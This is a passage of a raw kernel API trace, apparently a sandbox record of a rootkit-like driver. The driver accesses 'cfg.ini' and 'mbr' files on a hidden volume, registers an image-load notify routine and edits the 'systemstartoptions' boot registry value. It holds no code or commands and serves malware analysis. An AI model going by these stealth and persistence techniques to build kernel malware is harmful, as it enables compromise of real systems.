MemoryDescriptorList=0xfffffa800dd48630) [0058.866] KeInitializeEvent (in: Event=0xfffff88002faaf60, Type=0x0, State=0 | out: Event=0xfffff88002faaf60) [0058.866] IdePortDispatch () returned 0x103 [0058.866] KeWaitForMutexObject () returned 0x0 [0058.866] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0058.866] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018af570 [0058.866] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018af570 | out: Irp=0xfffffa80018af570) returned 0xfffffa800dd48630 [0058.866] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800dd48630, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800dd48630) [0058.866] KeInitializeEvent (in: Event=0xfffff88002faaf60, Type=0x0, State=0 | out: Event=0xfffff88002faaf60) [0058.866] IdePortDispatch () returned 0x103 [0058.866] KeWaitForMutexObject () returned 0x0 [0058.866] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018af570 [0058.866] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018af570 | out: Irp=0xfffffa80018af570) returned 0xfffffa800dd48630 [0058.866] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800dd48630, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800dd48630) [0058.866] KeInitializeEvent (in: Event=0xfffff88002faaf30, Type=0x0, State=0 | out: Event=0xfffff88002faaf30) [0058.866] IdePortDispatch () returned 0x103 [0058.867] KeWaitForMutexObject () returned 0x0 [0058.867] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0058.867] KeLeaveCriticalRegion () [0058.867] IofCompleteRequest (Irp=0xfffffa80018df580, PriorityBoost=0) [0058.867] ZwWriteFile (in: FileHandle=0xffffffff8000010c, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0xfffff88002fab6c0, Buffer=0xfffff8a0001b5618*, Length=0x180, ByteOffset=0x0, Key=0x0 | out: IoStatusBlock=0xfffff88002fab6c0, Buffer=0xfffff8a0001b5618*) returned 0x0 [0058.867] _snprintf (in: _Dest=0xfffff88002fab140, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0058.867] KeEnterCriticalRegion () [0058.867] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0058.867] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff88000000010) returned 0xfffff88002da4618 [0058.867] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018af570 [0058.867] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1270, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018af570 | out: Irp=0xfffffa80018af570) returned 0xfffffa800dd48630 [0058.867] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800dd48630, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800dd48630) [0058.867] KeInitializeEvent (in: Event=0xfffff88002faaf60, Type=0x0, State=0 | out: Event=0xfffff88002faaf60) [0058.867] IdePortDispatch () returned 0x103 [0058.867] KeWaitForMutexObject () returned 0x0 [0058.867] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0058.867] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018af570 [0058.867] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018af570 | out: Irp=0xfffffa80018af570) returned 0xfffffa800dd48630 [0058.867] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800dd48630, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800dd48630) [0058.867] KeInitializeEvent (in: Event=0xfffff88002faaf60, Type=0x0, State=0 | out: Event=0xfffff88002faaf60) [0058.867] IdePortDispatch () returned 0x103 [0058.867] KeWaitForMutexObject () returned 0x0 [0058.867] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018af570 [0058.867] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018af570 | out: Irp=0xfffffa80018af570) returned 0xfffffa800dd48630 [0058.867] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800dd48630, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800dd48630) [0058.867] KeInitializeEvent (in: Event=0xfffff88002faaf30, Type=0x0, State=0 | out: Event=0xfffff88002faaf30) [0058.867] IdePortDispatch () returned 0x103 [0058.868] KeWaitForMutexObject () returned 0x0 [0058.868] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018af570 [0058.868] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1270, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018af570 | out: Irp=0xfffffa80018af570) returned 0xfffffa800dd48630 [0058.868] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800dd48630, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800dd48630) [0058.868] KeInitializeEvent (in: Event=0xfffff88002faafd0, Type=0x0, State=0 | out: Event=0xfffff88002faafd0) [0058.868] IdePortDispatch () returned 0x103 [0058.868] KeWaitForMutexObject () returned 0x0 [0058.868] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0058.868] KeLeaveCriticalRegion () [0058.868] IofCompleteRequest (Irp=0xfffffa80018df580, PriorityBoost=0) [0058.868] ZwSetInformationFile (FileHandle=0xffffffff8000010c, IoStatusBlock=0xfffff88002fab6c0, FileInformation=0xfffff88002faba58, Length=0x8, FileInformationClass=0xfffff88000000014) returned 0x0 [0058.868] _snprintf (in: _Dest=0xfffff88002fab190, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0058.868] KeEnterCriticalRegion () [0058.868] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0058.868] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018af570 [0058.868] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1270, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018af570 | out: Irp=0xfffffa80018af570) returned 0xfffffa80027b2010 [0058.868] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0058.868] KeInitializeEvent (in: Event=0xfffff88002fab010, Type=0x0, State=0 | out: Event=0xfffff88002fab010) [0058.868] IdePortDispatch () returned 0x103 [0058.868] KeWaitForMutexObject () returned 0x0 [0058.868] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0058.868] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018af570 [0058.869] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018af570 | out: Irp=0xfffffa80018af570) returned 0xfffffa80027b2010 [0058.869] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0058.869] KeInitializeEvent (in: Event=0xfffff88002fab010, Type=0x0, State=0 | out: Event=0xfffff88002fab010) [0058.869] IdePortDispatch () returned 0x103 [0058.869] KeWaitForMutexObject () returned 0x0 [0058.869] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018af570 [0058.869] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018af570 | out: Irp=0xfffffa80018af570) returned 0xfffffa80027b2010 [0058.869] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0058.869] KeInitializeEvent (in: Event=0xfffff88002fab010, Type=0x0, State=0 | out: Event=0xfffff88002fab010) [0058.869] IdePortDispatch () returned 0x103 [0058.869] KeWaitForMutexObject () returned 0x0 [0058.869] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018af570 [0058.869] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018af570 | out: Irp=0xfffffa80018af570) returned 0xfffffa80027b2010 [0058.869] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0058.869] KeInitializeEvent (in: Event=0xfffff88002faafe0, Type=0x0, State=0 | out: Event=0xfffff88002faafe0) [0058.869] IdePortDispatch () returned 0x103 [0058.869] KeWaitForMutexObject () returned 0x0 [0058.869] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018af570 [0058.869] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1270, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018af570 | out: Irp=0xfffffa80018af570) returned 0xfffffa80027b2010 [0058.869] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0058.869] KeInitializeEvent (in: Event=0xfffff88002fab080, Type=0x0, State=0 | out: Event=0xfffff88002fab080) [0058.869] IdePortDispatch () returned 0x103 [0058.869] KeWaitForMutexObject () returned 0x0 [0058.870] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0058.870] KeLeaveCriticalRegion () [0058.870] IofCompleteRequest (Irp=0xfffffa80018df580, PriorityBoost=0) [0058.870] ExFreePoolWithTag (P=0xfffff8a0001b5610, Tag=0x0) [0058.870] ZwClose (Handle=0xffffffff8000010c) returned 0x0 [0058.870] _snprintf (in: _Dest=0xfffff88002fab130, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0058.870] KeEnterCriticalRegion () [0058.870] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0058.870] IoGetRequestorProcess (Irp=0xfffffa80018df580) returned 0xfffffa80018ab040 [0058.870] FsRtlFastUnlockAll (FileLock=0xfffffa80027db068, FileObject=0xfffffa8002752080, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0x0 [0058.870] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0058.870] KeLeaveCriticalRegion () [0058.870] IofCompleteRequest (Irp=0xfffffa80018df580, PriorityBoost=0) [0058.870] _snprintf (in: _Dest=0xfffff88002fab150, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0058.870] KeEnterCriticalRegion () [0058.870] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0058.870] ExFreePoolWithTag (P=0xfffffa8002a308f0, Tag=0x0) [0058.870] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0058.870] KeLeaveCriticalRegion () [0058.870] IofCompleteRequest (Irp=0xfffffa80018df580, PriorityBoost=0) [0058.870] _snwprintf (in: _Dest=0xfffffa80027d31b0, _Count=0x103, _Format="%s\\mbr" | out: _Dest="\\device\\000001a9\\0d24eb7c\\mbr") returned 29 [0058.870] RtlInitUnicodeString (in: DestinationString=0xfffff88002fabb00, SourceString="\\device\\000001a9\\0d24eb7c\\mbr" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\mbr") [0058.870] ZwOpenFile (in: FileHandle=0xfffff88002fabaa0, DesiredAccess=0x100001, ObjectAttributes=0xfffff88002fabad0*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\mbr" (normalized: "\\device\\000001a9\\0d24eb7c\\mbr"), Attributes=0x240, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002fabb20, ShareAccess=0x1, OpenOptions=0x20 | out: FileHandle=0xfffff88002fabaa0*=0xffffffff8000010c, IoStatusBlock=0xfffff88002fabb20) returned 0x0 [0058.870] _snprintf (in: _Dest=0xfffff88002fab220, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\mbr") returned 12 [0058.870] KeEnterCriticalRegion () [0058.870] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0058.870] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018af570 [0058.870] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018af570 | out: Irp=0xfffffa80018af570) returned 0xfffffa80027b2010 [0058.870] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0058.870] KeInitializeEvent (in: Event=0xfffff88002fab090, Type=0x0, State=0 | out: Event=0xfffff88002fab090) [0058.870] IdePortDispatch () returned 0x103 [0058.870] KeWaitForMutexObject () returned 0x0 [0058.871] _strnicmp (_Str1="cfg.ini", _Str="mbr", _MaxCount=0x10) returned -10 [0058.871] _strnicmp (_Str1="mbr", _Str="mbr", _MaxCount=0x10) returned 0 [0058.871] strncpy (in: _Dest=0xfffffa80027db058, _Source="mbr", _Count=0x10 | out: _Dest="mbr") returned="mbr" [0058.871] FsRtlInitializeFileLock (FileLock=0xfffffa80027db068, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0058.871] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80036d66f0 [0058.871] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0058.871] KeLeaveCriticalRegion () [0058.871] IofCompleteRequest (Irp=0xfffffa80018df580, PriorityBoost=0) [0058.871] ZwReadFile (in: FileHandle=0xffffffff8000010c, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0xfffff88002fabb20, Buffer=0xfffffa80027d2b90, BufferLength=0x200, ByteOffset=0x0, Key=0x0 | out: IoStatusBlock=0xfffff88002fabb20, Buffer=0xfffffa80027d2b90*) returned 0x0 [0058.871] _snprintf (in: _Dest=0xfffff88002fab540, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\mbr") returned 12 [0058.871] KeEnterCriticalRegion () [0058.871] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0058.871] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000010) returned 0xfffff88002da5b90 [0058.871] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018af570 [0058.871] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018af570 | out: Irp=0xfffffa80018af570) returned 0xfffffa800dd48630 [0058.871] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800dd48630, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800dd48630) [0058.871] KeInitializeEvent (in: Event=0xfffff88002fab3a0, Type=0x0, State=0 | out: Event=0xfffff88002fab3a0) [0058.871] IdePortDispatch () returned 0x103 [0058.871] KeWaitForMutexObject () returned 0x0 [0058.871] _strnicmp (_Str1="cfg.ini", _Str="mbr", _MaxCount=0x10) returned -10 [0058.871] _strnicmp (_Str1="mbr", _Str="mbr", _MaxCount=0x10) returned 0 [0058.871] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018af570 [0058.871] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018af570 | out: Irp=0xfffffa80018af570) returned 0xfffffa800dd48630 [0058.871] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800dd48630, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800dd48630) [0058.871] KeInitializeEvent (in: Event=0xfffff88002fab3a0, Type=0x0, State=0 | out: Event=0xfffff88002fab3a0) [0058.871] IdePortDispatch () returned 0x103 [0058.871] KeWaitForMutexObject () returned 0x0 [0058.871] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018af570 [0058.871] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018af570 | out: Irp=0xfffffa80018af570) returned 0xfffffa800dd48630 [0058.871] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800dd48630, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800dd48630) [0058.871] KeInitializeEvent (in: Event=0xfffff88002fab3a0, Type=0x0, State=0 | out: Event=0xfffff88002fab3a0) [0058.871] IdePortDispatch () returned 0x103 [0058.872] KeWaitForMutexObject () returned 0x0 [0058.872] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0058.872] KeLeaveCriticalRegion () [0058.872] IofCompleteRequest (Irp=0xfffffa80018df580, PriorityBoost=0) [0058.872] ZwClose (Handle=0xffffffff8000010c) returned 0x0 [0058.872] _snprintf (in: _Dest=0xfffff88002fab520, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\mbr") returned 12 [0058.872] KeEnterCriticalRegion () [0058.872] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0058.872] IoGetRequestorProcess (Irp=0xfffffa80018df580) returned 0xfffffa80018ab040 [0058.872] FsRtlFastUnlockAll (FileLock=0xfffffa80027db068, FileObject=0xfffffa80027b3780, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0xc000007e [0058.872] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0058.872] KeLeaveCriticalRegion () [0058.872] IofCompleteRequest (Irp=0xfffffa80018df580, PriorityBoost=0) [0058.872] _snprintf (in: _Dest=0xfffff88002fab540, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\mbr") returned 12 [0058.872] KeEnterCriticalRegion () [0058.872] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0058.872] ExFreePoolWithTag (P=0xfffffa80036d66f0, Tag=0x0) [0058.872] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0058.872] KeLeaveCriticalRegion () [0058.872] IofCompleteRequest (Irp=0xfffffa80018df580, PriorityBoost=0) [0058.872] PsSetLoadImageNotifyRoutine (NotifyRoutine=0xfffffa80027cb1d0) returned 0x0 [0058.872] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x20) returned 0xfffffa800275e8f0 [0058.872] ExQueueWorkItem (in: WorkItem=0xfffffa800275e8f0*(List.Flink=0x0, List.Blink=0xfffff80002a5e820, WorkerRoutine=0xfffffa80027cb42c, Parameter=0xfffffa800275e8f0), QueueType=0x1 | out: WorkItem=0xfffffa800275e8f0*(List.Flink=0xfffff80002a74670, List.Blink=0xfffff80002a74670, WorkerRoutine=0xfffffa80027cb42c, Parameter=0xfffffa800275e8f0)) [0058.872] ExFreePoolWithTag (P=0xfffffa800275e8f0, Tag=0x0) [0058.872] KeInitializeEvent (in: Event=0xfffff88002fabb20, Type=0x0, State=0 | out: Event=0xfffff88002fabb20) [0058.872] ZwOpenKey (in: KeyHandle=0xfffff88002fabb80, DesiredAccess=0xf003f, ObjectAttributes=0xfffff88002fabad0*(Length=0x30, RootDirectory=0x0, ObjectName="\\registry\\machine\\system\\currentcontrolset\\control", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0) | out: KeyHandle=0xfffff88002fabb80*=0xffffffff8000010c) returned 0x0 [0058.872] ZwQueryValueKey (in: KeyHandle=0xffffffff8000010c, ValueName="systemstartoptions", KeyValueInformationClass=0x2, KeyValueInformation=0xfffffa80027d1890, Length=0x1000, ResultLength=0xfffff88002fabb78 | out: KeyValueInformation=0xfffffa80027d1890*(TitleIndex=0x0, Type=0x1, DataLength=0x32, Data=" NOEXECUTE=OPTIN IN MINT"), ResultLength=0xfffff88002fabb78) returned 0x0 [0058.872] _snwprintf (in: _Dest=0xfffffa80027d2fa0, _Count=0x103, _Format="%.*s" | out: _Dest=" NOEXECUTE=OPTIN IN MINT") returned 24 [0058.872] wcsstr (_Str=" NOEXECUTE=OPTIN IN MINT", _SubStr=" IN MINT") returned=" IN MINT" [0058.872] ZwSetValueKey (in: KeyHandle=0xffffffff8000010c, ValueName="systemstartoptions", TitleIndex=0x0, Type=0x1, Data=" NOEXECUTE=OPTIN", DataSize=0x20 | out: Data=" NOEXECUTE=OPTIN") returned 0x0 [0058.872] ZwClose (Handle=0xffffffff8000010c) returned 0x0 [0058.872] ExQueueWorkItem (in: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffffa80027d31b0, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0), QueueType=0x0 | out: WorkItem=0xfffff88002fabb00*(List.Flink=0xfffff80002a74618, List.Blink=0xfffffa80027b0b10, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0)) [0058.872] KeWaitForMutexObject () returned 0x102 [0064.443] ExQueueWorkItem (in: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0), QueueType=0x0 | out: WorkItem=0xfffff88002fabb00*(List.Flink=0xfffff80002a74618, List.Blink=0xfffffa80018cbbe0, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0)) [0064.443] KeWaitForMutexObject () returned 0x102 [0065.596] ExQueueWorkItem (in: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0), QueueType=0x0 | out: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0)) [0065.596] KeWaitForMutexObject () returned 0x102 [0066.675] ExQueueWorkItem (in: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0), QueueType=0x0 | out: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0)) [0066.675] KeWaitForMutexObject () returned 0x102 [0067.705] ExQueueWorkItem (in: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0), QueueType=0x0 | out: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0)) [0067.705] KeWaitForMutexObject () returned 0x102 [0068.719] ExQueueWorkItem (in: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0), QueueType=0x0 | out: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0)) [0068.719] KeWaitForMutexObject () returned 0x102 [0069.734] ExQueueWorkItem (in: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0), QueueType=0x0 | out: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0)) [0069.734] KeWaitForMutexObject () returned 0x102 [0071.324] ExQueueWorkItem (in: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0), QueueType=0x0 | out: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0)) [0071.324] KeWaitForMutexObject () returned 0x102 [0072.932] ExQueueWorkItem (in: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0), QueueType=0x0 | out: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0)) [0072.932] KeWaitForMutexObject () returned 0x102 [0073.956] ExQueueWorkItem (in: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0), QueueType=0x0 | out: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0)) [0073.956] KeWaitForMutexObject () returned 0x102 [0075.069] ExQueueWorkItem (in: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0), QueueType=0x0 | out: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0)) [0075.069] KeWaitForMutexObject () returned 0x102 [0076.129] ExQueueWorkItem (in: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0), QueueType=0x0 | out: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0)) [0076.129] KeWaitForMutexObject () returned 0x102 [0077.208] ExQueueWorkItem (in: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0), QueueType=0x0 | out: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0)) [0077.208] KeWaitForMutexObject () returned 0x102 [0078.236] ExQueueWorkItem (in: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0), QueueType=0x0 | out: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0)) [0078.236] KeWaitForMutexObject () returned 0x102 [0079.313] ExQueueWorkItem (in: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0), QueueType=0x0 | out: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0)) [0079.313] KeWaitForMutexObject () returned 0x102 [0080.419] ExQueueWorkItem (in: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0), QueueType=0x0 | out: WorkItem=0xfffff88002fabb00*(List.Flink=0xfffff80002a74618, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0)) [0080.419] KeWaitForMutexObject () returned 0x102 [0081.434] ExQueueWorkItem (in: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0), QueueType=0x0 | out: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0)) [0081.434] KeWaitForMutexObject () returned 0x102 [0082.463] ExQueueWorkItem (in: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0), QueueType=0x0 | out: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, 